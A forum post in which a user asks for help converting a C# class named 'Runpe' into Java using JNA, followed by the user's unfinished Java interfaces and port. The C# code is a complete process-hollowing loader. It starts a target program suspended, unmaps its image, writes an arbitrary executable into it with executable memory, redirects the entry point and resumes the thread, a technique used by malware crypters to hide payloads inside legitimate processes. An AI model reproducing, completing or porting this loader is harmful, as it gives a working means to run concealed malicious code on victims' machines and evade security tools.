Hello everybody, I am new here. As well, I need some help with converting some C# code to Java using JNA to call native Windows functions.
First and foremost, this is the code I am trying to convert:
using System; using System.Runtime.InteropServices; using System.Security; [SuppressUnmanagedCodeSecurity] public static class Runpe { #region Win32 Funcs [DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern bool CreateProcess(string lpApplicationName, string commandLine, int processAttributes, int threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref STARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation); [DllImport("kernel32.dll")] static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, out int lpNumberOfBytesRead); [DllImport("kernel32.dll", SetLastError = true)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, out uint lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT lpContext); [DllImport("kernel32.dll")] static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT lpContext); [DllImport("kernel32.dll")] static extern int SuspendThread(IntPtr hThread); [DllImport("kernel32.dll")] static extern int ResumeThread(IntPtr hThread); [DllImport("kernel32.dll")] static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll")] static extern uint VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, int dwLength); [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr VirtualAlloc(IntPtr address, int numBytes, int commitOrReserve, int pageProtectionMode); [DllImport("ntdll.dll")] static extern int ZwUnmapViewOfSection(IntPtr hProcess, IntPtr BaseAddress); #endregion #region Proc & Mem Strucs [StructLayout(LayoutKind.Sequential)] struct PROCINFO { public uint baseAddr; public uint imageSize; } [StructLayout(LayoutKind.Sequential)] struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; unsafe fixed byte unused[52]; } [StructLayout(LayoutKind.Sequential)] struct CONTEXT { public uint ContextFlags; unsafe fixed byte unused[160]; public uint Ebx; public uint Edx; public uint Ecx; public uint Eax; unsafe fixed byte unused2[24]; } [StructLayout(LayoutKind.Sequential)] struct MEMORY_BASIC_INFORMATION { public uint BaseAddress; public uint AllocationBase; public uint AllocationProtect; public uint RegionSize; public uint State; public uint Protect; public uint lType; } #endregion #region PE Structs [StructLayout(LayoutKind.Sequential)] struct MZHeader { public ushort signature; unsafe fixed byte unused[58]; public uint offsetToPE; } [StructLayout(LayoutKind.Sequential)] struct PE_Header { public uint signature; public ushort machine; public ushort numSections; public uint timeDateStamp; public uint pointerToSymbolTable; public uint numOfSymbols; public ushort sizeOfOptionHeader; public ushort characteristics; }; [StructLayout(LayoutKind.Sequential)] struct PE_ExtHeader { public ushort magic; public byte majorLinkerVersion; public byte minorLinkerVersion; public uint sizeOfCode; public uint sizeOfInitializedData; public uint sizeOfUninitializedData; public uint addressOfEntryPoint; public uint baseOfCode; public uint baseOfData; public uint imageBase; public uint sectionAlignment; public uint fileAlignment; unsafe fixed byte unused[16]; public uint sizeOfImage; public uint sizeOfHeaders; unsafe fixed byte unused2[160]; } [StructLayout(LayoutKind.Sequential)] struct SectionHeader { public long sectionName; public uint virtualSize; public uint virtualAddress; public uint sizeOfRawData; public uint pointerToRawData; unsafe fixed byte unused[16]; } #endregion static unsafe int ReadPeInfo(byte[] data, out MZHeader mzH, out PE_Header peH, out PE_ExtHeader peXH, out SectionHeader[] secHdrs) { fixed (byte* dPtr = data) { int imgSize = -1; mzH = new MZHeader(); peH = new PE_Header(); peXH = new PE_ExtHeader(); secHdrs = null; if (data.Length < sizeof(MZHeader)) return imgSize; mzH = *(MZHeader*)dPtr; if (mzH.signature != 0x5a4d || data.Length < mzH.offsetToPE + sizeof(PE_Header)) return imgSize; peH = *(PE_Header*)&dPtr[mzH.offsetToPE]; if (peH.sizeOfOptionHeader != sizeof(PE_ExtHeader)) return imgSize; peXH = *(PE_ExtHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header)]; secHdrs = new SectionHeader[peH.numSections]; imgSize = (int)getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment); for (int i = 0; i < secHdrs.Length; i++) { secHdrs[i] = *(SectionHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header) + sizeof(PE_ExtHeader) + (i * sizeof(SectionHeader))]; if (secHdrs[i].virtualSize != 0) imgSize += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment); } return imgSize; } } static unsafe void LoadPe(byte[] peBytes, MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntPtr memPtr) { byte* ptr = (byte*)(void*)memPtr; uint hdrSize = peXH.sizeOfHeaders; for (int i = 0; i < secHdrs.Length; i++) { if (secHdrs[i].pointerToRawData < hdrSize) hdrSize = secHdrs[i].pointerToRawData; } Marshal.Copy(peBytes, 0, memPtr, (int)hdrSize); ptr += (int)getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment); for (int i = 0, copySize; i < secHdrs.Length; i++) { if (secHdrs[i].sizeOfRawData > 0) { copySize = (int)(secHdrs[i].sizeOfRawData > secHdrs[i].virtualSize ? secHdrs[i].virtualSize : secHdrs[i].sizeOfRawData); Marshal.Copy(peBytes, (int)secHdrs[i].pointerToRawData, (IntPtr)ptr, copySize); ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment); } else if (secHdrs[i].virtualAddress != 0) { ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment); } } } static unsafe bool CreateChild(out PROCESS_INFORMATION pInfo, out PROCINFO cInfo, out CONTEXT ctx, string target) { STARTUPINFO sInfo = new STARTUPINFO(); ctx = new CONTEXT { ContextFlags = 0x10007 }; cInfo = new PROCINFO(); if (CreateProcess(target, null, 0, 0, false, 4, IntPtr.Zero, null, ref sInfo, out pInfo)) { GetThreadContext(pInfo.hThread, ref ctx); uint* pebInfo = (uint*)ctx.Ebx; int read = 0; fixed (PROCINFO* cInfoPtr = &cInfo) { ReadProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&cInfoPtr->baseAddr), 4, out read); } uint curAddr = cInfo.baseAddr; MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION(); while (VirtualQueryEx(pInfo.hProcess, (IntPtr)curAddr, out memInfo, sizeof(MEMORY_BASIC_INFORMATION)) != 0) { if (memInfo.State == 0x10000) break; curAddr += memInfo.RegionSize; } cInfo.imageSize = curAddr - cInfo.baseAddr; return true; } return false; } static unsafe bool DoFork(MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntPtr memPtr, int imgSize, string target) { PROCESS_INFORMATION pInfo; CONTEXT ctx; PROCINFO cInfo; if (!CreateChild(out pInfo, out cInfo, out ctx, target)) { return false; } IntPtr v = IntPtr.Zero; if (peXH.imageBase == cInfo.baseAddr && imgSize <= cInfo.imageSize) { v = (IntPtr)cInfo.baseAddr; uint oldP; VirtualProtectEx(pInfo.hProcess, (IntPtr)cInfo.baseAddr, (IntPtr)cInfo.imageSize, 0x40, out oldP); } else if (ZwUnmapViewOfSection(pInfo.hProcess, (IntPtr)cInfo.baseAddr) == 0) { v = VirtualAllocEx(pInfo.hProcess, (IntPtr)peXH.imageBase, (uint)imgSize, 0x3000, 0x40); } if (v != IntPtr.Zero) { uint* pebInfo = (uint*)ctx.Ebx; uint wrote = 0; WriteProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&v), 4, out wrote); if (!WriteProcessMemory(pInfo.hProcess, v, memPtr, (uint)imgSize, out wrote)) { return false; } ctx.Eax = (uint)((uint)v == cInfo.baseAddr ? peXH.imageBase + peXH.addressOfEntryPoint : v.ToInt32() + peXH.addressOfEntryPoint); SetThreadContext(pInfo.hThread, ref ctx); ResumeThread(pInfo.hThread); return true; } return false; } static uint getAlignedSize(uint curSize, uint alignment) { return curSize % alignment == 0 ? curSize : ((curSize / alignment) + 1) * alignment; } public static bool Run(byte[] data, string target) { if (data == null || target == null) { return false; } MZHeader mzH; PE_Header peH; PE_ExtHeader peXH; SectionHeader[] secHdrs; int imgSize = ReadPeInfo(data, out mzH, out peH, out peXH, out secHdrs); if (imgSize < 0) { return false; } IntPtr memPtr = VirtualAlloc(IntPtr.Zero, imgSize, 0x1000, 0x40); if (memPtr == IntPtr.Zero) { return false; } LoadPe(data, mzH, peH, peXH, secHdrs, memPtr); return DoFork(mzH, peH, peXH, secHdrs, memPtr, imgSize, target); } }
So far, I have written the JNA interfaces to represent the Kernel32 and NtDll library. Within the Kernel32 library, I have also defined the structures that I need to use.
Kernel32.java
package kine; import static java.util.Arrays.asList; import java.util.List; import com.sun.jna.Library; import com.sun.jna.Structure; import com.sun.jna.ptr.IntByReference; public interface Kernel32 extends Library { IntByReference VirtualAllocEx(IntByReference hProcess, IntByReference lpAddress, int dwSize, int flAllocationType, int flProtect); boolean CreateProcess(String lpApplicationName, String commandLine, int processAttributes, int threadAttributes, boolean inheritHandles, int creationFlags, IntByReference environment, String currentDirectory, STARTUPINFO startupInfo, PROCESS_INFORMATION processInformation); boolean ReadProcessMemory(IntByReference hProcess, IntByReference lpBaseAddress, IntByReference lpBuffer, int dwSize, int lpNumberOfBytesRead); boolean WriteProcessMemory(IntByReference hProcess, IntByReference lpBaseAddress, IntByReference lpBuffer, int nSize, int lpNumberOfBytesWritten); boolean GetThreadContext(IntByReference hThread, CONTEXT lpContext); boolean SetThreadContext(IntByReference hThread, CONTEXT lpContext); int SuspendThread(IntByReference hThread); int ResumeThread(IntByReference hThread); boolean VirtualProtectEx(IntByReference hProcess, IntByReference lpAddress, IntByReference dwSize, int flNewProtect, int lpflOldProtect); int VirtualQueryEx(IntByReference hProcess, IntByReference lpAddress, MEMORY_BASIC_INFORMATION lpBuffer, int dwLength); IntByReference VirtualAlloc(IntByReference address, int numBytes, int commitOrReserve, int pageProtectionMode); public static class PROCINFO extends Structure { public int baseAddr; public int imageSize; @Override protected List<String> getFieldOrder() { return asList("baseAddr", "imageSize"); } } public static class PROCESS_INFORMATION extends Structure { public IntByReference hProcess; public IntByReference hThread; public int dwProcessId; public int dwThreadId; @Override protected List<String> getFieldOrder() { return asList("hProcess", "hThread", "dwProcessId", "dwThreadId"); } } public static class STARTUPINFO extends Structure { public int cb; public String lpReserved; public String lpDesktop; public String lpTitle; public byte unused[] = new byte[52]; @Override protected List<String> getFieldOrder() { return asList("cb", "lpReserved", "lpDesktop", "lpTitle", "unused"); } } public static class CONTEXT extends Structure { public int ContextFlags; public byte[] unused = new byte[160]; public int Ebx; public int Edx; public int Ecx; public int Eax; @Override protected List<String> getFieldOrder() { return asList("ContextFlags", "unused", "Ebx", "Edx", "Ecx", "Eax"); } } public static class MEMORY_BASIC_INFORMATION extends Structure { public int BaseAddress; public int AllocationBase; public int AllocationProtect; public int RegionSize; public int State; public int Protect; public int lType; @Override protected List<String> getFieldOrder() { return asList("BaseAddress", "AllocationBase", "AllocationProtect", "RegionSize", "State", "Protect", "lType"); } } public static class MZHeader extends Structure { public short signature; public byte[] unused = new byte[58]; public int offsetToPE; @Override protected List<String> getFieldOrder() { return asList("signature", "unused", "offsetToPE"); } } public static class PE_Header extends Structure { public int signature; public short machine; public short numSections; public int timeDateStamp; public int pointerToSymbolTable; public int numOfSymbols; public short sizeOfOptionHeader; public short characteristics; @Override protected List<String> getFieldOrder() { return asList("signature", "machine", "numSections", "timeDateStamp", "pointerToSymbolTable", "numOfSymbols", "sizeOfOptionHeader", "characteristics"); } } public static class PE_ExtHeader extends Structure { public short magic; public byte majorLinkerVersion; public byte minorLinkerVersion; public int sizeOfCode; public int sizeOfInitializedData; public int sizeOfUninitializedData; public int addressOfEntryPoint; public int baseOfCode; public int baseOfData; public int imageBase; public int sectionAlignment; public int fileAlignment; public byte[] unused = new byte[16]; public int sizeOfImage; public int sizeOfHeaders; public byte[] unused2 = new byte[160]; @Override protected List<String> getFieldOrder() { return asList("magic", "majorLinkerVersion", "minorLinkerVersion", "sizeOfCode", "sizeOfInitializedData", "sizeOfUninitializedData", "addressOfEntryPoint", "baseOfCode", "baseOfData", "imageBase", "sectionAlignment", "fileAlignment", "unused", "sizeOfImage", "sizeOfHeaders", "unused2"); } } public static class SectionHeader extends Structure { public long sectionName; public int virtualSize; public int virtualAddress; public int sizeOfRawData; public int pointerToRawData; public byte[] unused = new byte[16]; @Override protected List<String> getFieldOrder() { return asList("sectionName", "virtualSize", "virtualAddress", "sizeOfRawData", "pointerToRawData", "unused"); } } }
NtDll.java
package kine; import com.sun.jna.Library; import com.sun.jna.ptr.IntByReference; public interface NtDll extends Library { int ZwUnmapViewOfSection(IntByReference hProcess, IntByReference BaseAddress); }
After I have defined the library and structures I moved on to writing the non-native functions. The problem is, I don't understand all of the C# syntax. I do, however, understand all of the Java features that are in C#.
Here is what I have written so far; note that I have commented what I don't understand as well as if I'm questionable about my conversion. Most of the problems repeat, meaning that if you supply me with even one conversion I will probably be able to figure out how to do the rest. Thanks in prior for any help! :-)
package kine; import kine.Kernel32.CONTEXT; import kine.Kernel32.MEMORY_BASIC_INFORMATION; import kine.Kernel32.MZHeader; import kine.Kernel32.PE_ExtHeader; import kine.Kernel32.PE_Header; import kine.Kernel32.PROCESS_INFORMATION; import kine.Kernel32.PROCINFO; import kine.Kernel32.STARTUPINFO; import kine.Kernel32.SectionHeader; import com.sun.jna.Native; import com.sun.jna.ptr.IntByReference; public final class Kine { // Is this the same as?: // IntPtr.Zero private static final IntByReference ZERO = new IntByReference(0); public static int ReadPeInfo(byte[] data, MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs) { // I am assuming this is the same as: // byte* dPtr = data byte[] dPtr = data; // ^^/> Also, not sure if "fixed" is important or something int imgSize = -1; mzH = new MZHeader(); peH = new PE_Header(); peXH = new PE_ExtHeader(); secHdrs = null; // is this the equivalent of?: // if (data.Length < sizeof(MZHeader)) if (data.length < mzH.size()) { return imgSize; } // no clue how to do this: // mzH = *(MZHeader*) dPtr; // is this the equivalent of?: // if (mzH.signature != 0x5a4d || data.Length < mzH.offsetToPE + sizeof(PE_Header)) if (mzH.signature != 0x5a4d || data.length < (mzH.offsetToPE + peH.size())) { return imgSize; } // no clue how to do this: // peH = *(PE_Header*)&dPtr[mzH.offsetToPE]; // is this the equivalent of?: // if (peH.sizeOfOptionHeader != sizeof(PE_ExtHeader)) if (peH.sizeOfOptionHeader != peXH.size()) { return imgSize; } // no clue how to do this: // peXH = *(PE_ExtHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header)]; secHdrs = new SectionHeader[peH.numSections]; imgSize = getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment); for (int i = 0; i < secHdrs.length; i++) { // no clue how to do this: // secHdrs[i] = *(SectionHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header) + sizeof(PE_ExtHeader) + (i * sizeof(SectionHeader))]; if (secHdrs[i].virtualSize != 0) { imgSize += getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment); } } return imgSize; } public static void LoadPe(byte[] peBytes, MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntByReference memPtr) { // no clue how to do this: // byte* ptr = (byte*)(void*)memPtr; int hdrSize = peXH.sizeOfHeaders; for (int i = 0; i < secHdrs.length; i++) { if (secHdrs[i].pointerToRawData < hdrSize) { hdrSize = secHdrs[i].pointerToRawData; } } // don't know what this is, something like System.arraycopy?: // Marshal.Copy(peBytes, 0, memPtr, (int)hdrSize); // no clue how to do this: // ptr += (int)getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment); for (int i = 0, copySize; i < secHdrs.length; i++) { if (secHdrs[i].sizeOfRawData > 0) { copySize = secHdrs[i].sizeOfRawData > secHdrs[i].virtualSize ? secHdrs[i].virtualSize : secHdrs[i].sizeOfRawData; // don't know what this is, again, something like System.arraycopy?: // Marshal.Copy(peBytes, (int)secHdrs[i].pointerToRawData, (IntPtr)ptr, copySize); // and no clue about this either: // ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment); } else if (secHdrs[i].virtualAddress != 0) { // and, of course, no clue about this: // ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment); } } } public static boolean CreateChild(PROCESS_INFORMATION pInfo, PROCINFO cInfo, CONTEXT ctx, String target, Kernel32 kernel) { STARTUPINFO sInfo = new STARTUPINFO(); // is this the equivalent of?: // ctx = new CONTEXT { ContextFlags = 0x10007 }; ctx = new CONTEXT(); ctx.ContextFlags = 0x10007; cInfo = new PROCINFO(); if (kernel.CreateProcess(target, null, 0, 0, false, 4, ZERO, null, sInfo, pInfo)) { kernel.GetThreadContext(pInfo.hThread, ctx); // no clue about this: // uint* pebInfo = (uint*)ctx.Ebx; int read = 0; // no clue about "fixed" or if it is important // also no clue about this: // fixed (PROCINFO* cInfoPtr = &cInfo) { // ReadProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&cInfoPtr->baseAddr), 4, out read); // } int curAddr = cInfo.baseAddr; MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION(); while (kernel.VirtualQueryEx(pInfo.hProcess, new IntByReference(curAddr), memInfo, memInfo.size()) != 0) { if (memInfo.State == 0x10000) break; curAddr += memInfo.RegionSize; } cInfo.imageSize = curAddr - cInfo.baseAddr; return true; } return false; } public static boolean DoFork(MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntByReference memPtr, int imgSize, String target, Kernel32 kernel, NtDll ntdll) { PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); CONTEXT ctx = new CONTEXT(); PROCINFO cInfo = new PROCINFO(); if (!CreateChild(pInfo, cInfo, ctx, target, kernel)) { return false; } IntByReference v = ZERO; if (peXH.imageBase == cInfo.baseAddr && imgSize <= cInfo.imageSize) { // is this the same as?: // v = (IntPtr)cInfo.baseAddr; v = new IntByReference(cInfo.baseAddr); int oldP = 0; kernel.VirtualProtectEx(pInfo.hProcess, new IntByReference(cInfo.baseAddr), new IntByReference(cInfo.imageSize), 0x40, oldP); } else if (ntdll.ZwUnmapViewOfSection(pInfo.hProcess, new IntByReference(cInfo.baseAddr)) == 0) { v = kernel.VirtualAllocEx(pInfo.hProcess, new IntByReference(peXH.imageBase), imgSize, 0x3000, 0x40); } if (v != ZERO) { // no clue about this: // uint* pebInfo = (uint*)ctx.Ebx; int wrote = 0; // don't know how to call this: // WriteProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&v), 4, out wrote); if (!kernel.WriteProcessMemory(pInfo.hProcess, v, memPtr, imgSize, wrote)) { return false; } // I believe this is equivalent to: // ctx.Eax = (uint)((uint)v == cInfo.baseAddr ? peXH.imageBase + peXH.addressOfEntryPoint : v.ToInt32() + peXH.addressOfEntryPoint); ctx.Eax = v.getValue() == cInfo.baseAddr ? peXH.imageBase + peXH.addressOfEntryPoint : v.getValue() + peXH.addressOfEntryPoint; kernel.SetThreadContext(pInfo.hThread, ctx); kernel.ResumeThread(pInfo.hThread); return true; } return false; } public static int getAlignedSize(int curSize, int alignment) { return curSize % alignment == 0 ? curSize : ((curSize / alignment) + 1) * alignment; } public static boolean Run(byte[] data, String target, Kernel32 kernel, NtDll ntdll) { if (data == null || target == null) { return false; } MZHeader mzH = new MZHeader(); PE_Header peH = new PE_Header(); PE_ExtHeader peXH = new PE_ExtHeader(); SectionHeader[] secHdrs = null; int imgSize = ReadPeInfo(data, mzH, peH, peXH, secHdrs); if (imgSize < 0) { return false; } IntByReference memPtr = kernel.VirtualAlloc(ZERO, imgSize, 0x1000, 0x40); if (memPtr == ZERO) { return false; } LoadPe(data, mzH, peH, peXH, secHdrs, memPtr); return DoFork(mzH, peH, peXH, secHdrs, memPtr, imgSize, target, kernel, ntdll); } }